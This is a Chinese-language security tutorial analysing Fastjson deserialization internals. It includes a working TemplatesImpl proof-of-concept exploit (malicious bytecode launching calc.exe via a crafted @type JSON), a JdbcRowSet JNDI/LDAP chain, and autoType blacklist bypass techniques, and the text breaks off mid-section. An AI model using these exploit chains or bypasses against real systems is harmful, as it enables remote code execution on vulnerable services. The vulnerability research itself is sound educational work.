Java安全杂烩(二)
Fastjson反序列化
Fastjson简介
Fastjson
是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。Fastjson在阿里巴巴大规模使用,在数万台服务器上部署,Fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。出现安全问题影响范围很广。
- 其中序列化方法为:
JSON.toJSONString(obj)
- 反序列化方法为:
JSON.parseObject
返回JSONObject类型,JSON.parse
返回实际类型对象
在序列化时:
package fastjsonExample;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.python.antlr.ast.Str;
public class user {
public String name;
private int age;
public String getName(){
System.out.println("getName called");
return name;
}
public void setName(String name){
System.out.println("setName called");
this.name = name;
}
public int getAge(){
System.out.println("getAge called");
return age;
}
public void setAge(int age){
System.out.println("setAge called");
this.age = age;
}
public void getTest(){
System.out.println("get method called");
}
public static void main(String[] args) {
user user = new user();
user.setAge(18);
user.setName("test");
String jsonStr = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(jsonStr);
}
}
发现类的getter方法也会被调用,但如果是私有的getter方法,则不会被调用
现在我们增加sex
私有属性,并且为其增加getter方法后,尝试反序列化解析:
package fastjsonExample;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.python.antlr.ast.Str;
public class user {
public String name;
private String sex;
private int age;
public String getName(){
System.out.println("getName called");
return name;
}
public void setName(String name){
System.out.println("setName called");
this.name = name;
}
public int getAge(){
System.out.println("getAge called");
return age;
}
public String getSex() {
return sex;
}
public void setAge(int age){
System.out.println("setAge called");
this.age = age;
}
public void getTest(){
System.out.println("get method called");
}
public String toString(){
return "user{" +
"age=" + age +
", name='" + name + ''' +
", sex='" + sex + ''' +
'}';
}
public static void main(String[] args) {
String userString = "{"@type":"fastjsonExample.user" ,"age":25,"name":"test", "sex": "male"}";
Object obj = JSON.parseObject(userString);
System.out.println(obj);
}
}
当私有属性没有setter方法时,反序列化会失败,而私有属性如果有setter方法,则反序列化时会调用其setter
方法,使得恢复的类对象该私有属性中获得该值
并且在这里如果不指定类,使用parseObject
反序列化则会调用所有的getter & setter
方法
Feature.SupportNonPublicField这个属性在1.2.22版本才引入的,在1.2.25版本被修复
当我们使用这个Feature时,调用fastjson还原json为对象的时候可以完成对私有属性的反序列化:
反序列化时不同属性的对比
主要是在parse/parseObject进行反序列化时,通过传入不同的属性对比反序列化的过程和反序列化结果有什么不同,找到类setter方法,getter方法,构造方法的调用条件,用于后期构造PoC,这里主要有三个属性影响:
- 有无Class类型
- 不同Class类型
- 有无Feature.SupportNonPublicField属性
我们来看有无Class类型的区别,这里给出一个例子:
不指定Class类型
import com.alibaba.fastjson.JSON;
import java.util.Properties;
public class user {
private int age;
private String name;
private String sex;
private Properties properties;
public String address;
public user() {
System.out.println("Called in User()");
}
public int getAge() {
System.out.println("Called in getAge()");
return age;
}
public String getName() {
System.out.println("Called in getName()");
return name;
}
public String getSex() {
System.out.println("Called in getSex()");
return sex;
}
public void setSex(String sex) {
System.out.println("Called in setSex()");
this.sex = sex;
}
public Properties getProperties() {
System.out.println("Called in getProperties()");
return properties;
}
@Override
public String toString() {
return "User{" +
"age=" + age +
", name='" + name + ''' +
", sex='" + sex + ''' +
", properties=" + properties +
", address='" + address + ''' +
'}';
}
public static void main(String[] args) {
String userString = "{"@type": "user" ,"age": 18,"name": "test","address": "xian", "sex": "man", "properties":{}}";
Object user = JSON.parseObject(userString);
// JSONObject user = JSON.parseObject(userString);
System.out.println(user);
System.out.println(user.getClass().getName());
}
}
当没有指定Class时,可以看到调用了构造方法,所有的getter和setter方法,其中getProperties被调用两次;定义类型无论是Object,还是JSONObject结果都一样,返回的类型都为JSONObject。
指定Class类型时
在有Class类型时,调用构造方法,所有属性的setter方法,properties属性的getter方法;定义类型无论是Object,User返回类型都是User类型。反序列化时根据@type制定类型进行解析,定义了对象的类型。
指定SupportNonPublicField属性
前文也已经提到过了,SupportNonPublicField属性
会使得私有属性在没有setter方法的情况下仍然反序列化成功
parse和parseObject 分析
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。parseObject() 的源代码如下:
这里我们需要知道parse
中较为关键的几个类:
- JSONLexe—— 处理Json分词,next()可以获取Json字符串的下一个字符
- ParserConfig—— 包含解析配置,反序列化器,标签等各类配置信息
- JavaBeanDeserializer —— JavaBean反序列化类
- JSONScanner —— 负责扫描和获取json字符串中的Token并返回
- ObjectDeserializer —— 负责将json字符串反序列化,与JavaBean有关系,内置各种类型的反序列化器
跟进parseObject方法,进入到DefaultJSONParser.parseObject
方法,根据Class类型获取对象的反序列化器derializer,并进行反序列化操作
尝试从HashMap中获取user类预设的反序列化器,没有找到后调用getDeserializer
跟进该方法,继续跟进,this.getDeserializer()
中主要通过比对type类型寻找合适的反序列化器,其中有一次this.denyList黑名单判断,黑名单中的类出现会抛出异常
跟到最后,未能在预设的反序列化器中找到合适的,最后使用JavaBeanDeserializer
进行反序列化
继续跟进该方法:
其中beanInfo中存放着user类的Class对象,user类构造器,还有类的属性:
因此在
JavaBeanInfo.build
中,一定涉及到对于传入json字符串的相关处理过程,这里之后重点分析,这里先继续向下分析,最终会实例化一个JavaBeanDeserializer
:跟进后再次生成beanInfo对象,并循环根据fieldInfo信息给每个字段生成对应类型的fieldDeserializer并存放到
this.sortedFieldDeserializers
和this.fieldDeserializers
最终调用
deserialze
方法进行反序列化:跟进该方法,发现最终会实例化该对象,对user的字段进行反序列化并赋值到User对象的对应属性中:
这里将parser和对应的key传入,根据
key
的值,匹配传入到fieldValues
中,跟进该方法:按照key的类型,利用“智能匹配”功能,找到属性的反序列化器,调用反序列化器的parseField方法
注意在smartMatch方法中,会对属性进行一定处理,如果属性名不以
is
开头,则会将传入属性中的-
和_
都先置空,在进行匹配
匹配完后调用fieldDeserializer.parseField
方法:
parseField方法中,对属性进行反序列化处理,调用this.fieldValueDeserilizer.deserialze
方法
获得到value后对该Object调用
setValue
赋值,跟进该方法,最终是反射调用的方式进行赋值,这也就是为什么在JSON反序列化时会调用setter
方法的原因当属性没有对应的
setter
方法时,则会调用field.set
进行赋值:总结
在属性反序列化获取到值后,都会调用setValue
将值赋值到object中对应的属性中:
- 对于有setter的,利用反射调用setter方法赋值;
- 对于没有setter的,利用字段field.set的方式给属性赋值;
当所有Field对象都实例化并添加到User对象object中后,返回object,结束反序列化流程。
之前的getProperties
则是在setValue时被调用:
这里跟一下Method是如何被赋值到this.fieldInfo.method的,主要发生在build方法中,在build方法中,首先就会利用反射获取到类的字段和方法列表,以及User的构造方法:
之后method被循环取出,开始判断:
对于setter
方法而言:
- 1.方法名要大于等于4;
- 2.非静态方法;
- 3.返回值为void类型或者返回当前类;
- 4.参数只有一个
当set方法满足上述条件时,还会判断类中是否存在set的属性是否为类的属性,最终将该方法加入到filedList中:
对于getter
方法而言:
- 方法名要大于等于4;
- 非静态方法;
- 以get开头并且第四个字母为大写;
- 参数个数为0;
- Collection & Map & AtomicBoolean & AtomicInteger & AtomicLong 方法返回类型
当get方法满足上述条件时,还会判断类中是否存在get的属性是否为类的属性,最终将该方法加入到filedList中,因此由于由于getProperties符合条件被放入到List中,在后续反序列化字段的时候这个method会被调用。
TemplatesImpl利用链
有了上述前置知识后,我们再来分析Fastjson TemplatesImpl
利用链,首先让我们分析调用栈情况:
调用栈情况如下,前文说过,getOutputProperties
符合触发getter
方法的条件,因此会调用TemplatesImpl
的getOutputProperties
方法
TemplatesImpl() -> getOutputProperties() -> newTransformer() -> getTransletInstance()
让我们跟进该方法:
我们看看newTransformer:
这里调用getTransletInstance
方法,并且在构造方法中传入了三个私有属性,我们继续跟进该方法发现调用defineTransletClasses
将传入的_bytecodes
,这里就是恶意类FJPayload的字节码,根据Java官方文档可以知道,defindClass
可以从byte[]
还原出一个Class对象,成功帮我们把字节码还原为了FJPayload Class 并放入到了_class[]
数组中
向JVM虚拟机注册完该类后,并且最终会将该类进行实例化,从而触发构造方法,实现RCE
如何根据FastJson触发
前文说过,FastJson会根绝@type
中的类从而调用所有的getter
方法和部分满足要求的getter
方法,而getOutputProperties
就满足要求,那么在这里要说明几个问题:
1._outputProperties
为何会关联到outputProerties的getter
方法
前文说道在smartMatch
方法中会将属性中的_
和-
均替换为空:
当替换完成后就是
outputProerties属性
,随后进入setvalue时便会调用getOutputProerties
方法因此我们在这里可以将outputProerties
改为任意包含outputProerties
且含有_ 或者 -
的属性,例如将其改为output-Proerties
同样会触发
2.为什么_bytecodes要base64编码
Fastjson在调用ObjectArrayCodec.deserialze
中,调用parser.parseArray方法对字节数组进行解析:
跟进该方法,获取反序列化器进行反序列化操作:
这里调用bytesValue方法进行base64解码:
经过base64解码后才得到类字节码数组:
3.为什么Payload类要继承AbstractTranslet父类
我们首先看一下构造为字节码数组的原始类:
package ClassLoad;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class FJPayload extends AbstractTranslet {
public FJPayload() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws IOException {
FJPayload payload = new FJPayload();
}
}
因为在最后调用defineTransletClasses
向JVM注册该类对象的时候:
使得
_transletIndex != -1
因此_transletIndex > 0
,而紧接着后面就会对_transletIndex
进行判断,不满足条件则抛出异常:4.为什么需要SupportNonPublicField
特性
让我们回到利用类TemplatesImpl
就会发现这些属性都是私有属性,并且是没有对应的setter
方法的,因此只有支持SupportNonPublicField
,才能够在没有setter
方法的情况下赋值我们定义的属性的值,
最后需要注意的是,这里_name
是不可少的,因为在getTransletInstance
方法处会有判断
并且
_tfactory
也是必不可少的,因为在构造方法处需要这个值,并且后续会对这个属性调用getExternalExtensionsMap
方法,如果没有该属性,则会触发异常,从而不会进入到后续的try
代码块中:TemplatesImpl利用链的一点思考
其实前文所说需要继承AbstractTranslet
也并非必须,考虑到支持SupportNonPublicField
,因此我们只需要对_transletIndex
赋值为0
,并且增加_auxClasses
属性为{}
,代表其是一个空对象,否则会抛出空指针错误:
构造一个没有继承的类依然可以触发实现RCE,这个版本的Poc如下:
package fastjsonExample;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.atomic.AtomicInteger;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class user {
private AtomicInteger age;
private String name;
private String sex;
private Properties properties;
public String address;
public user() {
System.out.println("Called in User()");
}
public AtomicInteger getAge() {
System.out.println("Called in getAge()");
return age;
}
public String getName() {
System.out.println("Called in getName()");
return name;
}
public String getSex() {
System.out.println("Called in getSex()");
return sex;
}
public void setSex(String sex) {
System.out.println("Called in setSex()");
this.sex = sex;
}
public Properties getProperties() {
System.out.println("Called in getProperties()");
return properties;
}
@Override
public String toString() {
return "User{" +
"age=" + age +
", name='" + name + ''' +
", sex='" + sex + ''' +
", properties=" + properties +
", address='" + address + ''' +
'}';
}
public static String readClassFile(String class_path) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
if (!Files.exists(Paths.get(class_path).toAbsolutePath()))
System.out.println("[ERROR] FileNotFound : " + class_path);
Files.copy(Paths.get(class_path), out);
return Base64.getEncoder().encodeToString(out.toByteArray());
}
/**
* Fastjson 1.2.2 - 1.2.4反序列化RCE示例
*/
public static void fastRCE() throws Exception{
String byteCode = readClassFile("C:\Users\86189\IdeaProjects\learn_java\out\production\learn_java\ClassLoad\FJPayload.class");
//String byteCode = readClassFile("C:\Users\86189\IdeaProjects\learn_java\src\ClassLoad\FJPayload.class");
// 构建恶意的JSON
String PoC = "{"@type":"" + "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" + "","_bytecodes":["" + byteCode + ""],'_name':'as','_transletIndex':0, '_auxClasses':{}, '_tfactory':{},"output-Properties":{}" + "}n";
System.out.println(PoC);
// 生成Payload
// 使用FastJson反序列化,但必须启用SupportNonPublicField特性
JSON.parseObject(PoC, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
}
public static void main(String[] args) throws Exception{
fastRCE();
// String userString = "{"@type": "vuln.user" ,"age": 18,"name": "test","address": "xian", "sex": "man", "properties":{}}";
// Object user = JSON.parseObject(userString, vuln.user.class,Feature.SupportNonPublicField);
//// JSONObject user = JSON.parseObject(userString);
// System.out.println(user);
// System.out.println(user.getClass().getName());
}
}
JNDI利用链
这里使用的是jdbcRowSet
,可以通过setDataSourceName
方法设置ldap请求的远程地址,结合setAutoCommit
实现LDAP RCE,首先看下简单的例子:
继续跟进该方法:
这里调用lookup
来查询,自然也就能过实现RCE了,链子非常简单,因此在Fastjson中也是使用了这两个setter
方法进行利用:
1.2.25-1.2.41 Fastjson 绕过
在1.2.25中加入了checkAutoType()
方法用来对反序列化的Class进行验证:
需要开启
autoTypeSupport
,而1.2.25默认为关闭,并且增加了类黑白名单校验:因此在该部分谈及绕过处理中,前提都是需要显示的开启
AutoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
同时在开启AutoTypeSupport
依然要对黑名单进行绕过
这里由于
com.sun
是黑名单,因此我们使用jdbcRowSet
时会抛出异常,从而无法继续利用,前文已经知道,最后FastJson会通过util.TypeUtils.loadClass
来加载类对象,因此我们来跟一下这个方法:如果classname以[
开头loadClass会自动去掉,还有就是开头L结尾;的也会去掉,那么我们有了新的绕过方法:
1